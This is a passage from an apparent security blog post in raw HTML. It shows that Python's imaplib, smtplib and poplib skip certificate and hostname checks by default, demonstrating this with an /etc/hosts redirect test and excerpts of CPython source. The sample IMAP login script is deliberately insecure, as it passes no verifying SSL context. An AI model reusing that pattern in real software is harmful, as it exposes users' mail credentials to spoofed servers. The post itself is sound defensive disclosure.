&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-9" name="rest_code_ce86a1de59834094ac50cd636e4da681-9" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-9"&gt;&lt;/a&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"IMAP: Try to connect."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-10" name="rest_code_ce86a1de59834094ac50cd636e4da681-10" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-10"&gt;&lt;/a&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;imaplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IMAP4_SSL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;imap_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;993&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-11" name="rest_code_ce86a1de59834094ac50cd636e4da681-11" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-11"&gt;&lt;/a&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-12" name="rest_code_ce86a1de59834094ac50cd636e4da681-12" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-12"&gt;&lt;/a&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"IMAP: Try IMAP login, which is expected to fail with the data above."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_ce86a1de59834094ac50cd636e4da681-13" name="rest_code_ce86a1de59834094ac50cd636e4da681-13" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_ce86a1de59834094ac50cd636e4da681-13"&gt;&lt;/a&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;imap_user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;imap_pass&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;At first, the script looks like it should work, which it does. But if this script is used, it will not verify the peer's certificate, which can be tested by just adding an entry to &lt;code class="docutils literal"&gt;/etc/hosts&lt;/code&gt;, for example by associating an IP address from &lt;code class="docutils literal"&gt;imap.gmail.com&lt;/code&gt; with the hostname of  &lt;code class="docutils literal"&gt;outlook.office365.com&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_1809201f6f9d4c838072dc4b50752875-1" name="rest_code_1809201f6f9d4c838072dc4b50752875-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_1809201f6f9d4c838072dc4b50752875-1"&gt;&lt;/a&gt;173.194.76.109  outlook.office365.com
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the script now connects to Microsoft's IMAP server, it will instead connect to the one from Google. The certificate will not match the hostname, but running the script now results in an authentication error and not in an &lt;code class="docutils literal"&gt;ssl.SSLCertVerificationError&lt;/code&gt;. As there was no certificate verification error, username and password were sent to the wrong server and the script did not prevent this.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-1" name="rest_code_5f1152e6d0da47e286b4295850426f8b-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-1"&gt;&lt;/a&gt;$ ./imaptest.py
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-2" name="rest_code_5f1152e6d0da47e286b4295850426f8b-2" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-2"&gt;&lt;/a&gt;IMAP: Try to connect.
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-3" name="rest_code_5f1152e6d0da47e286b4295850426f8b-3" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-3"&gt;&lt;/a&gt;IMAP: Try IMAP login, which is expected to fail with the data above.
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-4" name="rest_code_5f1152e6d0da47e286b4295850426f8b-4" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-4"&gt;&lt;/a&gt;Traceback (most recent call last):
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-5" name="rest_code_5f1152e6d0da47e286b4295850426f8b-5" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-5"&gt;&lt;/a&gt;  File "/tmp/./imaptest.py", line 13, in &amp;lt;module&amp;gt;
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-6" name="rest_code_5f1152e6d0da47e286b4295850426f8b-6" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-6"&gt;&lt;/a&gt;    server.login(imap_user, imap_pass)
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-7" name="rest_code_5f1152e6d0da47e286b4295850426f8b-7" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-7"&gt;&lt;/a&gt;  File "/usr/lib/python3.10/imaplib.py", line 612, in login
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-8" name="rest_code_5f1152e6d0da47e286b4295850426f8b-8" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-8"&gt;&lt;/a&gt;    raise self.error(dat[-1])
&lt;a id="rest_code_5f1152e6d0da47e286b4295850426f8b-9" name="rest_code_5f1152e6d0da47e286b4295850426f8b-9" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_5f1152e6d0da47e286b4295850426f8b-9"&gt;&lt;/a&gt;imaplib.IMAP4.error: b'[AUTHENTICATIONFAILED] Authentication failed.'
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Outch!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="read-the-manual-first"&gt;
&lt;h2&gt;Read the manual first&lt;/h2&gt;
&lt;p&gt;This was just an example with accessing an IMAP server. Technically, it is the same with Python's smtplib and also poplib. This is more or less &lt;a class="reference external" href="https://docs.python.org/3/library/imaplib.html"&gt;documented behaviour&lt;/a&gt;. The &lt;code class="docutils literal"&gt;imaplib.IMAP4_SSL&lt;/code&gt; has an optional parameter &lt;code class="docutils literal"&gt;ssl_context&lt;/code&gt;, which is described as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;ssl_context is a ssl.SSLContext object which allows bundling SSL configuration options, certificates and private keys into a single (potentially long-lived) structure. Please read Security considerations for best practices.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code class="docutils literal"&gt;ssl_context&lt;/code&gt; parameter was added in Python 3.3 released in 2012. Following the &lt;a class="reference external" href="https://docs.python.org/3/library/ssl.html#ssl-security"&gt;link to the security best practices&lt;/a&gt;, the Python documentation further explains:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;For client use, if you don’t have any special requirements for your security policy, it is highly recommended that you use the create_default_context() function to create your SSL context. It will load the system’s trusted CA certificates, enable certificate validation and hostname checking, and try to choose reasonably secure protocol and cipher settings.&lt;/em&gt;
[...]&lt;/p&gt;
&lt;p&gt;&lt;em&gt;By contrast, if you create the SSL context by calling the SSLContext constructor yourself, it will not have certificate validation nor hostname checking enabled by default. If you do so, please read the paragraphs below to achieve a good security level.&lt;/em&gt;
[...]&lt;/p&gt;
&lt;p&gt;&lt;em&gt;When calling the SSLContext constructor directly, CERT_NONE is the default. Since it does not authenticate the other peer, it can be insecure, especially in client mode where most of time you would like to ensure the authenticity of the server you’re talking to. Therefore, when in client mode, it is highly recommended to use CERT_REQUIRED. However, it is in itself not sufficient; you also have to check that the server certificate, which can be obtained by calling SSLSocket.getpeercert(), matches the desired service. For many protocols and applications, the service can be identified by the hostname; in this case, the match_hostname() function can be used. This common check is automatically performed when SSLContext.check_hostname is enabled.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Would you say that after reading this, everything is completely clear? Creating a default context to load CA certificates sounds good, but is the impact clear, when one skips this step and just does not pass the right SSL context, when calling the &lt;code class="docutils literal"&gt;IMAP4_SSL&lt;/code&gt; constructor? Does the code call the &lt;code class="docutils literal"&gt;SSLContext&lt;/code&gt; contructor somehow, when you completely ignore the &lt;code class="docutils literal"&gt;IMAP4_SSL&lt;/code&gt; constructor's &lt;code class="docutils literal"&gt;ssl_context&lt;/code&gt; parameter? The Python documentation links the corresponding source code. So one can check, what happens &lt;a class="reference external" href="https://github.com/python/cpython/blob/3.11/Lib/imaplib.py"&gt;starting from the constructor imaplib.IMAP4_SSL&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-1" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-1"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;IMAP4_SSL_PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-2" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-2" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-2"&gt;&lt;/a&gt;             &lt;span class="n"&gt;certfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-3" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-3" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-3"&gt;&lt;/a&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-4" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-4" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-4"&gt;&lt;/a&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-5" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-5" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-5"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ssl_context&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-6" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-6" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-6"&gt;&lt;/a&gt;        &lt;span class="n"&gt;ssl_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_create_stdlib_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;certfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;certfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-7" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-7" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-7"&gt;&lt;/a&gt;                                                 &lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-8" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-8" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-8"&gt;&lt;/a&gt;    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssl_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl_context&lt;/span&gt;
&lt;a id="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-9" name="rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-9" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_c7339aace9fe4c74a43d96e3f5a5eda8-9"&gt;&lt;/a&gt;    &lt;span class="n"&gt;IMAP4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There, the &lt;code class="docutils literal"&gt;ssl_context&lt;/code&gt; parameter is initialized with &lt;code class="docutils literal"&gt;None&lt;/code&gt;. If no specific value is passed via &lt;code class="docutils literal"&gt;ssl_context&lt;/code&gt;, then &lt;code class="docutils literal"&gt;_create_stdlib_context&lt;/code&gt; is called. The function &lt;code class="docutils literal"&gt;ssl._create_stdlib_context&lt;/code&gt; &lt;a class="reference external" href="https://github.com/python/cpython/blob/3.11/Lib/ssl.py"&gt;is defined as&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_93ee3966cc3e49c69e34817272999a4c-1" name="rest_code_93ee3966cc3e49c69e34817272999a4c-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_93ee3966cc3e49c69e34817272999a4c-1"&gt;&lt;/a&gt;&lt;span class="n"&gt;_create_stdlib_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_create_unverified_context&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Unverified context does not sound good. The corresponding code is shown below.  The function &lt;code class="docutils literal"&gt;_create_unverified_context&lt;/code&gt; disables &lt;code class="docutils literal"&gt;check_hostname&lt;/code&gt; and does not load a default trust chain, if not instructed to do this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-1" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-1" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-1"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;_create_unverified_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cert_reqs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CERT_NONE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-2" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-2" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-2"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;check_hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;purpose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Purpose&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SERVER_AUTH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-3" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-3" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-3"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;certfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-4" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-4" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-4"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;cafile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cadata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-5" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-5" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-5"&gt;&lt;/a&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-6" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-6" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-6"&gt;&lt;/a&gt;    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SSLContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-7" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-7" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-7"&gt;&lt;/a&gt;    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;check_hostname&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-8" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-8" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-8"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cert_reqs&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-9" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-9" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-9"&gt;&lt;/a&gt;        &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify_mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_reqs&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-10" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-10" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-10"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;check_hostname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-11" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-11" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-11"&gt;&lt;/a&gt;        &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-12" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-12" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-12"&gt;&lt;/a&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-13" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-13" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-13"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;certfile&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-14" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-14" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-14"&gt;&lt;/a&gt;        &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_cert_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;certfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-15" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-15" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-15"&gt;&lt;/a&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-16" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-16" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-16"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# load CA root certs&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-17" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-17" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-17"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cafile&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;capath&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;cadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-18" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-18" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-18"&gt;&lt;/a&gt;        &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_verify_locations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cafile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cadata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_af6d706f474c4de7bf1c4e1df45f9663-19" name="rest_code_af6d706f474c4de7bf1c4e1df45f9663-19" href="https://www.pentagrid.ch/en/blog/python-mail-libraries-certificate-verification/#rest_code_af6d706f474c4de7bf1c4e1df45f9663-19"&gt;&lt;/a&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify_mode&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;CERT_NONE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
